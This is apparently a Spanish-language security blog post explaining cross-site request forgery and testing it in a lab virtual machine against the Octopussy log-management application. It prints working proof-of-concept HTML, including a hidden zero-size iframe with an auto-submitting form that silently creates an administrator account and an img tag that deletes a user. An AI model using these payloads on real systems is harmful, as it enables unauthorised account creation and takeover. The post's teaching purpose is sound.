viernes, 1 de marzo de 2013

Un poco de CSRF

Aca de nuevo trayendo algo que me interesó hace unos días y me parecía que valía la pena probar y comentar acá. Se trata de las vulnerabilidades de tipo CSRF (Cross Site Request Forgery), también se las conoce por otros nombres, pero este es el mas usado.

¿Qué es CSRF?
Básicamente se trata de un tipo de ataque mediante el cual se intenta que la víctima realice una determinada operación en una aplicación web sin saberlo. Esta técnica se aprovecha de aplicaciones web que tienen una estructura de peticiones predecibles.
El detalle está en que si el usuario se encuentra autenticado en la aplicación el browser mismo ocultará la operación incluyendo en la petición las credenciales de autenticación (cookie, basic-auth, etc), como si se tratara de una petición completamente legítima.

Y como sabemos... muchas veces los usuarios NO cierran las sesiones de sus aplicaciones web como corresponde y sumado al hecho de que a veces las cookies no expiran en tiempos razonables... booooom! CSRF attack!!!

Ejemplo:
Supongamos que tenemos un sitio www.sitiodeprueba.com. Se trata de una aplicación PHP escrita a mano y que una vez lograda la autenticación con mi usuario y contraseña me asigna una cookie de sesión con la cual se autentica en cada petición. La aplicación permite cargar usuarios, modificarlos y eliminarlos. Cuando ingresamos a la opción de agregar usuario nos encontramos con un formulario sencillo con dos campos input uno de nombre y otro de contraseña y por último el botón de "Nuevo Usuario".

En HTML sería algo así:


<form name="agregar_usuario" method="GET" action="usuarios.php">
    <tr>
        <input type="text" name="nombre"></td>
        <input type="password" name="password"></td>
        <input type="submit" name="submit" value="Nuevo Usuario">
    </tr>
</form>

Este formulario, si ingresamos como nombre y password Juan y luego presionamos el botón "Nuevo Usuario", sencillamente se transforma en http://www.sitiodeprueba.com/usuarios.php?nombre=Juan&password=Juan y se envía como una petición de tipo GET.
Si ahora escribimos en la barra de dirección del browser www.sitiodeprueba.com/usuarios.php?nombre=Ramon&password=Ramon123 , estariamos creando el usuario de nombre Ramon y de password Ramon123. Esto se trata de una petición (GET en este caso) predecible, la petición NO incluye atributos que la distingan de la anterior o de la próxima. De una forma muy similar se puede lograr lo mismo si se trata de peticiones de tipo POST.

Entonces para explotar una vulnerabilidad CSRF se necesitan: un usuario autenticado y una petición que sea fácilmente reproducible. Pero falta algo mas... falta lograr que el usuario autenticado realice la petición en cuestión y en lo posible sin que se de cuenta!!! Hay varias formas de hacer llegar la petición a la víctima, algunas mas camufladas que otras. Las formas van desde: enviar por correo los links, hasta insertar el código en un sitio web el cual sabemos que la víctima visita frecuentemente.

Prueba de concepto:
Bien, ahora vamos a probar la teoría. La situación de prueba es la siguiente.


Tenemos una máquina virtual (172.16.62.145) con un software de administración de logs llamado octopusy (versión 1.0-4, la versión que viene con Ubuntu 12.04.2 LTS). Esta aplicación se encuentra en el puerto 8888 (HTTPS).

Si iniciamos sesión como administrador vemos que se nos asigna una cookie de sesión, la cuál nos autentica luego en cada petición que le hacemos a la aplicación:


Viendo un poco la aplicación resulta que tiene varias peticiones que se podrían reproducir fácilmente y hacer CSRF.
En el menú de usuarios podemos agregar, modificar y borrar usuarios.


Si vemos un poco el código de fuente (HTML) de user.asp, agregar un nuevo usuario consiste en el siguiente formulario:

...

<form name="unknown" method="POST" action="./user.asp">
<tr class="box">
<td class="box">
<input type="text" name="login"></td>
<td class="box">
<input type="password" name="password" value=""></td>
<td class="box" align="center" ></td>
<td class="box">
<select   name="AAT_Language">
EN<option value="EN">Ingles</option>
FR<option value="FR">Frances</option>
DE<option value="DE">Aleman</option>
IT<option value="IT">Italiano</option>
PT<option value="PT">Portugues</option>
RU<option value="RU">Ruso</option>
ES<option  selected value="ES">Español</option>
</select></td>
<td class="box">
<select   name="user_role">
admin<option value="admin">Admin</option>
ro<option value="ro">Read Only</option>
rw<option value="rw">Read Write</option>
restricted<option value="restricted">Restricted</option>
</select></td>
<td class="box">
<select   name="status">
Enabled<option value="Enabled">Habilitado</option>
Disabled<option value="Disabled">Deshabilitado</option>
</select></td>
<td class="box" align="center"  colspan="3"><input type="submit" name="submit" value="Nuevo Usuario"></td>
</tr>
</form>
...

Es un formulario POST común y sin ninguna particularidad que nos impida reproducirlo. Entonces empiezan las pruebas.

Prueba 1: reproducción sencilla del formulario para agregar un nuevo usuario. En esta prueba solamente aislamos y reproducimos el formulario. NOTA: ahora el atributo action de la etiqueta form debe llevar la dirección completa del recurso, en nuestro caso https://172.16.62.145:8888/user.asp.

<html>
    <head>
        <title>Prueba CSRF</title>
    </head>
    <body>
        <p>Prueba de csrf 2</p>
        <p>Reproducción sencilla del formulario de creación de nuevo usuario.</p>
        <p>
            <form name="unknown" id="unknown" method="POST" action="https://172.16.62.145:8888/user.asp">
                <tr class="box">
                    <td class="box"><input type="text" name="login" value="malo"></td>
                    <td class="box"><input type="password" name="password" value="malo"></td>
                    <td class="box">
                        <select   name="AAT_Language">
                        EN<option value="EN">Ingles</option>
                        FR<option value="FR">Frances</option>
                        DE<option value="DE">Aleman</option>
                        IT<option value="IT">Italiano</option>
                        PT<option value="PT">Portugues</option>
                        RU<option value="RU">Ruso</option>
                        ES<option  selected value="ES">Español</option>
                        </select>
                    </td>
                    <td class="box">
                    <select   name="user_role">
                    admin<option value="admin">Admin</option>
                    ro<option value="ro">Read Only</option>
                    rw<option value="rw">Read Write</option>
                    restricted<option value="restricted">Restricted</option>
                    </select>
                    </td>
                    <td class="box">
                        <select   name="status">
                        Enabled<option value="Enabled">Habilitado</option>
                        Disabled<option value="Disabled">Deshabilitado</option>
                        </select>
                    </td>
                    <input type="submit" name="submit" value="Nuevo Usuario">
                </tr>
            </form>
        </p>
    </body>
</html>

Si abrimos con el browser el archivo CSRF2.html veremos:


Una vez que presionemos el botón "Nuevo Usuario" veremos:


Tenemos creado el nuevo usuario, nombre=malo password=malo!!! Ahora ya sabemos que el ataque es posible, solo hay que lograr ocultarlo para que no sea tan evidente.

Prueba 2: ahora vamos a automatizar y ocultar el ataque de forma tal que la víctima no vea qué sucedió. Para lograr esto vamos a requerir la ayuda de los famosos iframe y javascript.

Por un lado tenemos el archivo CSRF3.html:

<html>
    <head>
        <title>Prueba CSRF</title>
    </head>
    <body>
        <h2>Prueba de CSRF 3</h2>
        <p>Haciendo una petición por POST con un formulario automático, dentro de un iframe casi invisible.</p>
        <p>Resultado: creación de un nuevo usuario con privilegios de administrado llamado "malo2".</p>
        <iframe src="formulario_nuevo_usuario.html" width="0" height="0">
    </body>
</html>

Un HTML sencillo que podría ser un sitio cualquiera, pero que contiene un iframe de tamaño despreciable y que carga el archivo formulario_nuevo_usuario.html. Este último html es el que contiene nuestra nueva versión reducida del formulario de alta de usuario, que es la siguiente:

<form name="unknown" id="unknown" method="POST" action="https://172.16.62.145:8888/user.asp">
    <tr class="box">
        <td class="box">
            <input type="text" name="login" value="malo2"></td>
        <td class="box">
        <input type="password" name="password" value="malo"></td>
        <td class="box">
            <select   name="AAT_Language">
            ES<option  selected value="ES">Español</option>
            </select>
        </td>
        <td class="box">
        <select   name="user_role">
        admin<option selected value="admin">Admin</option>
        </select>
        </td>
        <td class="box">
            <select   name="status">
            Enabled<option selected value="Enabled">Habilitado</option>
            </select>
        </td>
    </tr>
</form>
<script>document.unknown.submit();</script>

Sencillamente recortamos las selecciones de las etiquetas select y dejamos seleccionadas las características que queremos que tenga el usuario (idioma español, rol admin y que esté activado), quitamos el botón "Nuevo Usuario" y por último agregamos una linea de javascript que procesa el formulario automáticamente.

Si ahora abrimos nuestro archivo CSRF3.html nos encontramos con:


Nada... un cuadradito pequeño allí que poco importa a quien no sospecha de nada y menos aún si se camufla en un gran sitio web con muchos colores e imágenes. Pero... si vamos a ver los usuarios vemos:



El usuario "malo2" se creo sin llamar la atención del administrador.

Prueba 3: muchas veces resulta ser que tanto las peticiones GET como las POST son procesadas indistintamente por las aplicaciones. Esto quiere decir que podría no ser necesario recurrir a los trucos de las 2 pruebas anteriores... ¿Por qué no probar enviar una petición GET con los mismo campos que la petición POST?

link: https://172.16.62.145:8888/user.asp?login=malo3&password=malo&AAT_Language=ES&user_role=admin&status=Enabled

Resultado:


Si bien se muestra el usuario creado, es imposible acceder con el mismo y se ve claramente que no tomó los atributos que indicamos. Esto indica que la aplicación se comporta de manera diferente ante una petición GET con los mismos atributos.

Prueba 4: por último vamos a ver el caso más sencillo de ocultar y se trata justamente de las peticiones GET. Las peticiones GET se pueden enmascarar por ejemplo con una etiqueta html img. Buscando un poco en la aplicación vemos que esto se podría hacer en la opción de eliminar usuario. Cuando decidimos eliminar un usuario se nos presenta una nueva página donde podemos elegir entre confirmar nuestra operación o cancelarla.


Como podemos ver, el link del botón de ok es claramente una petición de tipo GET.

https://172.16.62.145:8888/user.asp?login=malo3&action=remove

Ahora ya sabemos que si hacemos click en un link solamente indicando el nombre del usuario y la acción remove, podemos eliminarlo de la aplicación (siempre y cuando quien haga click se haya autenticado previamente con los privilegios necesarios, en nuestro caso el administrador).
Paso siguiente creamos el archivo CSRF4.html con el siguiente contenido:

<html>  
    <head>
        <title>Prueba CSRF</title>
    </head>
    <body>
        <h2>Prueba de CSRF 4</h2>
        <p>Haciendo CSRF por GET a través de un tag img.</p>
        <p>Resultado: eliminación del usuario de nombre "malo".</p>      
        <p>
            <img src="https://172.16.62.145:8888/user.asp?login=malo3&action=remove"/>
        </p>
    </body>
</html>

La línea que lo hace todo es <img src="https://172.16.62.145:8888/user.asp?login=malo3&action=remove"/> por lo tanto alcanzaría insertar esa línea en cualquier sitio que la víctima visite frecuentemente.

Si abrimos el archivo con el browser vemos:


Simplemente una imagen que desgraciadamente no pudo cargarse, que pena...
Pero en la aplicación se pueden ver las consecuencias de esa imagen sin cargar:


El usuario malo3 ha sido eliminado por el usuario admin sin que este último tenga la mas mínima intención.

Resultados de las pruebas:
-Crear usuarios
-Eliminar usuarios

Situación hipotética: supongamos por un segundo que este servidor pertenece a la red privada de una organización y que existe en el firewall principal una regla de redirección que les permite a los administradores acceder remotamente a la aplicación (porque los administradores a veces trabajn desde sus casas :P). Si los atacantes lograran que los administradores ejecuten alguna de las pruebas hechas anteriormente, podrían hacerse con un usuario y contraseña válidos para ingresar a la aplicación remotamente, sin necesidad de estar en la red privada. Esto significa que podrían hacer con los logs lo que quieran. A partir de allí podrían buscar otras vulnerabilidades en la aplicación y comenzar a escalar privilegios, desde un servidor en la red privada... OMG!!!

Ja... todo lo que podría pasar con un solo click, no?

Para quienes quieran interiorizar en CSRF, busquen el white paper de Jesse Burns "Cross Site Request Forgery An introduction to a common web application weakness". También en http://www.google.com/search?q=CSRF .

Saludossss

No hay comentarios:

Publicar un comentario